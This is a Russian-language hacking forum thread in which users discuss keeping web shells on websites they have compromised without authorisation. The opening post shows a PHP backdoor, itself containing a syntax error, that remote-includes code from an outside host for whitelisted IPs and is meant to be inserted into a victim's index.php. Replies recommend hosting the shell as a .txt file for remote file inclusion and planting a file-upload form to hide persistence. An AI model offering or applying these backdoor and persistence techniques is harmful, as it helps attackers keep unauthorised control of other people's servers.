Вопрос по php :)

Discussion in 'PHP' started by seofilms, 19 Jan 2010.

  1. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    Привет ачату, хотел спросить, возможно ли вставить код пхп с чужого сайта ?
    Допустим есть шелл на сайте www.blabla.ru/shell.php
    и есть сайт www.gavgav.ru, хотелось бы исправить index чтоб при открытии открывался мой шелл на этом сайте.
    Как я понял если вставлять инклюд то грузится тока уже
    выполненный код, кто нибудь подскажет как сделать грузился сам код шелла ? :)
    PHP:
    <?
    $ip_ds = array('10.0.60.23','127.0.0.1','127.0.0.1');
    else echo    "Нима blabla.php";die();
     
    $user_ip_ds = $_SERVER['REMOTE_ADDR'];
    $col = count($ip_ds);
    $pr_ds=0;
    for(    $i=0; $i<$col;$i++)
    {if(    $ip_ds[$i]==$user_ip_ds){$i=$col; $pr_ds="777";}}
    if(    $pr_ds!=777) echo"not foud";
    if(    $pr_ds==777) include ('http://www.parkour1.ic.cz/config');  
    ?>

     
    #1 seofilms, 19 Jan 2010
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Сохраняй и инклудь шелл с расширением .txt, чтобы код не интерпретировался.
     
    #2 mailbrush, 19 Jan 2010
    1 person likes this.
  3. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    По сабжу - гы, а чо, прикольно, взял и прочитал config.php с чужого сайта, да? ))))

    PS: Хотя задумка с шеллами конечно просто великолепна

    кхм, тема просто отличная, серьезно )
     
    #3 Pashkela, 19 Jan 2010
    Last edited: 19 Jan 2010
  4. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Эм... не понял иронии... в общем я всегда так делаю - у меня на хосте лежит шелл с .txt расширением. Нахожу RFI, инклужу его...
     
    #4 mailbrush, 19 Jan 2010
  5. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    Всё получилось, Mailbrush большое спасибо :)
     
    #5 seofilms, 19 Jan 2010
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    ...и перечитай свой первый пост в теме - ты можешь посмотреть сорцы шелла не из шелла?)

    инетересно чо там у ТС получилось

    PS: Перечитал первый вопрос - таки понял, чего спрашивали. Ну и езык

    лично мне вот такая фраза:

    напоминает, например, это: http://pastebin.com
     
    #6 Pashkela, 19 Jan 2010
    Last edited: 19 Jan 2010
  7. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    Да заливал на сайт шеллы, их постоянно удаляли, терь попробовал вставить в index.php этот инклюд который работает тока с ip деда, недумаю что в index.php он будет искать :D
     
    #7 seofilms, 19 Jan 2010
  8. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Нет, что ты, ни один нормальный админ в index.php ставший на ~ 50 кб больше и содержащий кучу непонятного кода в жизни не заглянет )
     
    #8 Pashkela, 19 Jan 2010
  9. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    ничо там нету он изменился маскимум на 2кб + там никакого кода нету кроме инклюда и проверки ip...
     
    #9 seofilms, 19 Jan 2010
  10. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    как ты прячешь shellы ?
     
    #10 seofilms, 19 Jan 2010
  11. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Конечно не скажу, о чем ты. Ну сам подумай. Это траф, а траф - это деньги. Тебе нужны мои деньги? Мне тоже.

    PS: Ну уж точно не удаленный инклуд, паля сразу и домен (сколько он после такого проживет?) и надеясь на постоянный allow_url_include = on
     
    #11 Pashkela, 19 Jan 2010
    Last edited: 19 Jan 2010
  12. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    :D narod.ru
    вот это да... (((
    мб посоветуешь что нить норм, то что не в привате))) ?
     
    #12 seofilms, 19 Jan 2010
  13. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    вставь например просто форму загрузки файла, или....в общем читай "Ваши вопросы по уязвимостям" на этом сайте - там все есть.
     
    #13 Pashkela, 19 Jan 2010
    1 person likes this.
  14. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    Ладно, спасибо :)
     
    #14 seofilms, 19 Jan 2010
  15. imajo.ati

    imajo.ati Banned

    Joined:
    21 Feb 2008
    Messages:
    232
    Likes Received:
    62
    Reputations:
    8
    фига се проверка на ip на 2 кб ))
     
    #15 imajo.ati, 20 Jan 2010
  16. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    да это я от балды написал)))
     
    #16 seofilms, 20 Jan 2010
  17. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    66
    Likes Received:
    46
    Reputations:
    14
    Шелл удалили((( жесть.. кто нить подскажите кто нибудь норм способ спрятать шелл(
     
    #17 seofilms, 20 Jan 2010
(You must log in or sign up to post here.)